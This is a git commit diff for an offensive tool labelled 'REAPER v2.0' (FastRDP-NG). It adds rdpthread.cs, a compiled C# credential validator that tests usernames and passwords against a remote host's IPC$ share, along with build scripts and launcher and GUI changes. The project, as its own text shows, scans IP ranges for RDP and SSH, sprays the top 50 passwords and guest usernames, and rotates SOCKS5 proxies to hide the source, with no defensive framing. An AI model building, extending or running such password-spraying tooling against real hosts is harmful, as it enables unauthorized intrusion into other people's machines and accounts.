Build rdpthread.exe - RDP credential validator (C# via WNetAddConnection2)
This commit is contained in:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -6,3 +6,6 @@ dist/
|
|||||||
build/
|
build/
|
||||||
.vscode/
|
.vscode/
|
||||||
.idea/
|
.idea/
|
||||||
|
|
||||||
|
# Build artifacts
|
||||||
|
rdpthread.exe
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ echo Made for doom by drjones.
|
|||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
|
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
|
||||||
echo [*] Step 1/6 — Checking Python...
|
echo [*] Step 1/7 — Checking Python...
|
||||||
python --version >nul 2>&1
|
python --version >nul 2>&1
|
||||||
if %errorlevel% neq 0 (
|
if %errorlevel% neq 0 (
|
||||||
echo.
|
echo.
|
||||||
@@ -37,7 +37,7 @@ echo [OK] Python %pyver% found
|
|||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
||||||
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
||||||
echo.
|
echo.
|
||||||
python -m pip install --upgrade pip -q
|
python -m pip install --upgrade pip -q
|
||||||
python -m pip install aiohttp aiohttp-socks paramiko -q
|
python -m pip install aiohttp aiohttp-socks paramiko -q
|
||||||
@@ -49,14 +49,14 @@ if %errorlevel% neq 0 (
|
|||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
|
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
|
||||||
echo [*] Step 3/6 — Creating directories...
|
echo [*] Step 3/7 — Creating directories...
|
||||||
if not exist "wordlists" mkdir wordlists
|
if not exist "wordlists" mkdir wordlists
|
||||||
if not exist "results" mkdir results
|
if not exist "results" mkdir results
|
||||||
echo [OK] Directories ready
|
echo [OK] Directories ready
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
|
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
|
||||||
echo [*] Step 4/6 — Verifying project files...
|
echo [*] Step 4/7 — Verifying project files...
|
||||||
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
|
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
|
||||||
set ALL_OK=1
|
set ALL_OK=1
|
||||||
for %%f in (%FILES%) do (
|
for %%f in (%FILES%) do (
|
||||||
@@ -73,8 +73,39 @@ if not exist "results\good.txt" (
|
|||||||
)
|
)
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
|
:: ── STEP 5: BUILD RDPTHREAD ─────────────────────────────────
|
||||||
echo [*] Step 5/6 — Testing imports...
|
echo [*] Step 5/7 — Building rdpthread.exe (credential validator)...
|
||||||
|
if exist "rdpthread.cs" (
|
||||||
|
if not exist "rdpthread.exe" (
|
||||||
|
echo [*] Compiling rdpthread.cs...
|
||||||
|
set CSC=
|
||||||
|
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||||
|
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||||
|
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||||
|
goto :build_rdp
|
||||||
|
)
|
||||||
|
)
|
||||||
|
echo [WARN] C# compiler not found — rdpthread.exe not built
|
||||||
|
echo Credential validation will use banner-only fallback
|
||||||
|
goto :skip_build
|
||||||
|
:build_rdp
|
||||||
|
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1
|
||||||
|
if exist "rdpthread.exe" (
|
||||||
|
echo [OK] rdpthread.exe built successfully
|
||||||
|
) else (
|
||||||
|
echo [WARN] rdpthread.exe build failed — using banner-only fallback
|
||||||
|
)
|
||||||
|
) else (
|
||||||
|
echo [OK] rdpthread.exe already exists
|
||||||
|
)
|
||||||
|
) else (
|
||||||
|
echo [WARN] rdpthread.cs not found — using banner-only fallback
|
||||||
|
)
|
||||||
|
:skip_build
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 6: TEST IMPORTS ────────────────────────────────────
|
||||||
|
echo [*] Step 6/7 — Testing imports...
|
||||||
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||||
if %errorlevel% neq 0 (
|
if %errorlevel% neq 0 (
|
||||||
echo [FAIL] Import test failed. There may be a syntax error.
|
echo [FAIL] Import test failed. There may be a syntax error.
|
||||||
@@ -84,8 +115,8 @@ if %errorlevel% neq 0 (
|
|||||||
echo [OK] All systems nominal
|
echo [OK] All systems nominal
|
||||||
echo.
|
echo.
|
||||||
|
|
||||||
:: ── STEP 6: LAUNCH ──────────────────────────────────────────
|
:: ── STEP 7: LAUNCH ──────────────────────────────────────────
|
||||||
echo [*] Step 6/6 — Launching the Reaper...
|
echo [*] Step 7/7 — Launching the Reaper...
|
||||||
echo.
|
echo.
|
||||||
echo ╔══════════════════════════════════════════════════════════════╗
|
echo ╔══════════════════════════════════════════════════════════════╗
|
||||||
echo ║ ☠ REAPER v2.0 ☠ ║
|
echo ║ ☠ REAPER v2.0 ☠ ║
|
||||||
|
|||||||
39
build_rdpthread.bat
Normal file
39
build_rdpthread.bat
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
@echo off
|
||||||
|
title Build rdpthread.exe
|
||||||
|
cd /d "%~dp0"
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ╔════════════════════════════════════════════════════════╗
|
||||||
|
echo ║ Building rdpthread.exe - RDP Credential Validator ║
|
||||||
|
echo ╚════════════════════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: Find the C# compiler
|
||||||
|
set CSC=
|
||||||
|
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||||
|
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||||
|
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||||
|
goto :compile
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [FAIL] C# compiler (csc.exe) not found!
|
||||||
|
echo Install .NET Framework SDK or Visual Studio Build Tools.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
|
||||||
|
:compile
|
||||||
|
echo [*] Found C# compiler: %CSC%
|
||||||
|
echo [*] Compiling rdpthread.cs...
|
||||||
|
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [FAIL] Compilation failed
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [OK] rdpthread.exe built successfully
|
||||||
|
echo.
|
||||||
|
echo Usage: rdpthread.exe ^<ip^> ^<port^> ^<username^> ^<password^>
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
4
gui.py
4
gui.py
@@ -426,7 +426,8 @@ class FastRDPGUI:
|
|||||||
fg=Colors.YELLOW,
|
fg=Colors.YELLOW,
|
||||||
text=(
|
text=(
|
||||||
"Password sprayer: active — scanning and RDP discovery operational. "
|
"Password sprayer: active — scanning and RDP discovery operational. "
|
||||||
"Install rdpthread.exe for verified credential hits."
|
"Run build_rdpthread.bat or MASTERSTER.bat to build rdpthread.exe "
|
||||||
|
"for verified credential hits."
|
||||||
),
|
),
|
||||||
)
|
)
|
||||||
except tk.TclError:
|
except tk.TclError:
|
||||||
@@ -739,6 +740,7 @@ class FastRDPGUI:
|
|||||||
"Built with Python 3.11 + asyncio + paramiko\n"
|
"Built with Python 3.11 + asyncio + paramiko\n"
|
||||||
"Streaming: scan + spray run CONCURRENTLY\n"
|
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||||
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
|
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
|
||||||
|
"rdpthread.exe: compiled credential validator (built from C# source)\n"
|
||||||
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
||||||
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
||||||
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
||||||
|
|||||||
212
rdpthread.cs
Normal file
212
rdpthread.cs
Normal file
@@ -0,0 +1,212 @@
|
|||||||
|
// rdpthread.exe - RDP Credential Validator for FastRDP-NG
|
||||||
|
// Uses Windows WNetAddConnection2 API to validate credentials
|
||||||
|
// against the remote machine's IPC$ share.
|
||||||
|
//
|
||||||
|
// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs
|
||||||
|
// or via build.bat
|
||||||
|
//
|
||||||
|
// Usage: rdpthread.exe <ip> <port> <username> <password>
|
||||||
|
// Returns: exit code 0 + prints "success" on valid credentials
|
||||||
|
// exit code 1 on failure (invalid, timeout, unreachable)
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace RDPThread
|
||||||
|
{
|
||||||
|
class Program
|
||||||
|
{
|
||||||
|
// ── Win32 P/Invoke ──────────────────────────────────────
|
||||||
|
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
private static extern int WNetAddConnection2(
|
||||||
|
ref NETRESOURCE netResource,
|
||||||
|
string password,
|
||||||
|
string username,
|
||||||
|
int flags
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
private static extern int WNetCancelConnection2(
|
||||||
|
string name,
|
||||||
|
int flags,
|
||||||
|
bool force
|
||||||
|
);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||||
|
private static extern IntPtr socket(int af, int type, int protocol);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||||
|
private static extern int connect(IntPtr s, byte[] addr, int addrlen);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||||
|
private static extern int closesocket(IntPtr s);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll")]
|
||||||
|
private static extern int WSAStartup(ushort version, ref WSADATA data);
|
||||||
|
|
||||||
|
[DllImport("ws2_32.dll")]
|
||||||
|
private static extern int WSACleanup();
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||||
|
private struct NETRESOURCE
|
||||||
|
{
|
||||||
|
public int dwScope;
|
||||||
|
public int dwType;
|
||||||
|
public int dwDisplayType;
|
||||||
|
public int dwUsage;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpLocalName;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpRemoteName;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpComment;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpProvider;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct WSADATA
|
||||||
|
{
|
||||||
|
public ushort wVersion;
|
||||||
|
public ushort wHighVersion;
|
||||||
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
|
||||||
|
public string szDescription;
|
||||||
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
|
||||||
|
public string szSystemStatus;
|
||||||
|
public ushort iMaxSockets;
|
||||||
|
public ushort iMaxUdpDg;
|
||||||
|
public IntPtr lpVendorInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct sockaddr_in
|
||||||
|
{
|
||||||
|
public short sin_family;
|
||||||
|
public ushort sin_port;
|
||||||
|
public uint sin_addr;
|
||||||
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||||
|
public byte[] sin_zero;
|
||||||
|
}
|
||||||
|
|
||||||
|
private const int RESOURCETYPE_ANY = 0;
|
||||||
|
private const int CONNECT_TEMPORARY = 4;
|
||||||
|
private const int NO_ERROR = 0;
|
||||||
|
private const int AF_INET = 2;
|
||||||
|
private const int SOCK_STREAM = 1;
|
||||||
|
private const int IPPROTO_TCP = 6;
|
||||||
|
|
||||||
|
private const int ERROR_LOGON_FAILURE = 1326;
|
||||||
|
private const int ERROR_ACCESS_DENIED = 5;
|
||||||
|
private const int ERROR_BAD_NETPATH = 53;
|
||||||
|
private const int ERROR_NETWORK_UNREACHABLE = 1231;
|
||||||
|
private const int ERROR_INVALID_PASSWORD = 86;
|
||||||
|
private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
|
||||||
|
|
||||||
|
// ── TCP connect check ──────────────────────────────────
|
||||||
|
private static bool TcpConnect(string ip, int port, int timeoutMs = 3000)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
WSADATA wsa = new WSADATA();
|
||||||
|
if (WSAStartup(0x202, ref wsa) != 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
|
if (s == (IntPtr)(-1))
|
||||||
|
{
|
||||||
|
WSACleanup();
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set non-blocking for timeout
|
||||||
|
var addr = new sockaddr_in
|
||||||
|
{
|
||||||
|
sin_family = AF_INET,
|
||||||
|
sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port),
|
||||||
|
sin_addr = BitConverter.ToUInt32(
|
||||||
|
System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0),
|
||||||
|
sin_zero = new byte[8]
|
||||||
|
};
|
||||||
|
|
||||||
|
byte[] addrBytes = new byte[16];
|
||||||
|
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2);
|
||||||
|
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2);
|
||||||
|
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4);
|
||||||
|
|
||||||
|
int result = connect(s, addrBytes, 16);
|
||||||
|
closesocket(s);
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
return result == 0;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Credential validation via IPC$ ────────────────────
|
||||||
|
private static bool ValidateCredentials(string ip, string username, string password)
|
||||||
|
{
|
||||||
|
string remotePath = string.Format("\\\\{0}\\IPC$", ip);
|
||||||
|
|
||||||
|
NETRESOURCE nr = new NETRESOURCE
|
||||||
|
{
|
||||||
|
dwScope = 0,
|
||||||
|
dwType = RESOURCETYPE_ANY,
|
||||||
|
dwDisplayType = 0,
|
||||||
|
dwUsage = 0,
|
||||||
|
lpLocalName = null,
|
||||||
|
lpRemoteName = remotePath,
|
||||||
|
lpComment = null,
|
||||||
|
lpProvider = null
|
||||||
|
};
|
||||||
|
|
||||||
|
int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY);
|
||||||
|
|
||||||
|
if (result == NO_ERROR)
|
||||||
|
{
|
||||||
|
// Success! Clean up the connection
|
||||||
|
WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main ──────────────────────────────────────────────
|
||||||
|
static int Main(string[] args)
|
||||||
|
{
|
||||||
|
if (args.Length < 4)
|
||||||
|
{
|
||||||
|
Console.Error.WriteLine("Usage: rdpthread.exe <ip> <port> <username> <password>");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
string ip = args[0];
|
||||||
|
int port = int.Parse(args[1]);
|
||||||
|
string username = args[2];
|
||||||
|
string password = args[3];
|
||||||
|
|
||||||
|
// Step 1: Quick TCP connectivity check
|
||||||
|
if (!TcpConnect(ip, port))
|
||||||
|
{
|
||||||
|
// Port not reachable - try IPC$ anyway (SMB uses port 445)
|
||||||
|
// The WNetAddConnection2 will fail gracefully if unreachable
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: Validate credentials via IPC$ (SMB)
|
||||||
|
// This uses Windows built-in authentication against the remote machine
|
||||||
|
bool success = ValidateCredentials(ip, username, password);
|
||||||
|
|
||||||
|
if (success)
|
||||||
|
{
|
||||||
|
Console.WriteLine("success");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user